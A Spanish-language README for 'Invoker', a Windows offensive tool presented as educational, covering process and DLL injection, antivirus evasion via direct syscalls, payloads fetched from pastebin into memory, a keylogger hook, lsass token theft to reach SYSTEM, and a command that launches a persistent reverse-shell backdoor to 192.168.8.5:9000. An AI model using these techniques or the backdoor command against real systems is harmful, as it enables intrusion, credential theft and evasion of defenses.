
Utilidad de pruebas de penetración y herramienta de evaluación de antivirus.
Utilidad de pruebas de penetración y herramienta de evaluación antivirus.
Construido con Visual Studio Community 2022 v17.5.4 (64 bits) y probado en Windows 10 Enterprise OS (64 bits).
Hecho con fines educativos. ¡Espero que sea de ayuda!
Este repositorio comenzó a tener firmas conocidas y no tengo tiempo para subir nuevos ejecutables cada vez, por lo que deberías compilar este proyecto tú mismo.
Sitios web útiles:
Por hacer:
NtCreateProcessEx no funciona bien con procesos de 32 bits.Planes futuros:
Cosas que tengo en cuenta al codificar:
Todo lo anterior resultará en que tu PE tenga un tamaño más pequeño y una menor tasa de detección.
Características:
Revisa la biblioteca Invoker aquí. ¡Siéntete libre de usarlo!
Algunas funciones pueden requerir privilegios administrativos.
Algunas funciones pueden no funcionar en Windows XP y versiones anteriores debido a algunos derechos de acceso y banderas de control específicos utilizados.
Ejecuta Invoker_x86.exe (32 bits) o Invoker_x64.exe (64 bits).
Para automatizar la backdoor de shell inversa mientras se añade persistencia, ejecuta el siguiente comando:
Invoker_x64.exe 192.168.8.5:9000
Invoker de 32 bits puede:
Invoker de 64 bits puede:
Ten en cuenta que cada técnica de inyección tiene tanto pros como contras; por ejemplo, algunas técnicas requieren menos derechos de acceso, utilizan métodos menos sospechosos, etc., pero pueden, por ejemplo, bloquear el proceso, necesitar algo de tiempo y otras condiciones especiales para ejecutar el payload, etc.
Ten en cuenta que algunos implants C2C podrían no funcionar después de liberar la memoria. En ese caso, comenta métodos como VirtualFreeEx, NtFreeVirtualMemory, etc.
Eleva privilegios inyectando bytecode en un proceso de mayores privilegios.
Esta herramienta puede descargar el contenido de un archivo binario en la memoria e inyectarlo en un proceso en ejecución. También puede analizar una respuesta HTTP y extraer el payload de un elemento personalizado, por ejemplo, de <invoker>payload</invoker> donde payload es un código binario codificado en Base64.
Revisa el ejemplo en pastebin.com/raw/xf9Trt0d.
Esto es útil si el antivirus está constantemente eliminando tus payloads locales.
Revisa un ejemplo adicional en pastebin.com/raw/iW17rCxH - payload oculto en el elemento de imagen.
P.D. Los bytecodes proporcionados seguramente no funcionarán para ti.
Usa ngrok para darle a tu servidor web local una dirección pública.
Para ver si un proceso es de 32 bits o 64 bits, abre el Administrador de tareas -> haz clic en Más detalles -> ve a la pestaña Detalles -> haz clic derecho en cualquier columna -> haz clic en Seleccionar columnas -> marca la casilla Plataforma.
Para ver si un proceso se ejecuta con privilegios administrativos, marca la casilla Elevado.
Descubre cómo generar un payload de shell inversa desde mi otro proyecto, así como cómo configurar los oyentes Ncat y multi/handler.
La inyección de bytecode puede fallar porque el bytecode puede tener caracteres incorrectos, función de salida incorrecta o codificación; la inyección de DLL es más fiable.
Si deseas ejecutar una shell inversa o bind de PowerShell desde el Invoker, abre el Invoker e inicia una sesión de PowerShell, luego ejecuta cualquiera de los one-liners (de mi otro proyecto).
La biblioteca y el ensamblado de llamadas directas al sistema se generaron con SysWhispers2. ¡Créditos al autor!
Para generar la misma biblioteca y ensamblado, ejecuta el siguiente comando desde tu consola preferida:
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls
Revisa mi envoltorio alrededor de la biblioteca y el ensamblado aquí. ¡Siéntete libre de usarlo!
Revisa la DLL simple con un procedimiento de hook aquí. El procedimiento de hook invocará un cuadro de mensaje en cada cierre de ventana.
Revisa el procedimiento de hook de teclado (es decir, keylogger) aquí.
Revisa el procedimiento de hook de ratón que ejecutará un nuevo proceso en el primer clic del ratón aquí.
No olvides eliminar todos los artefactos creados después de terminar las pruebas, por ejemplo, eliminar keylogger.log, etc.
Sigue estos sencillos pasos:
Ejecuta el Invoker como administrador.
Habilita todos los privilegios del token de acceso.
Duplica el token de acceso de, por ejemplo, el Servicio de Subsystem de Autoridad de Seguridad Local (lsass.exe) y ejecuta una nueva instancia del Invoker.
Dentro de la nueva instancia del Invoker, abre el Símbolo del sistema y ejecuta whoami, ahora deberías ver nt authority\system.
Habilita todos los privilegios del token de acceso una vez más.
Cierra la instancia anterior del Invoker.

Figura 1 - Invoker

Figura 2 - Inyección de bytecode

Figura 3 - Privilegios elevados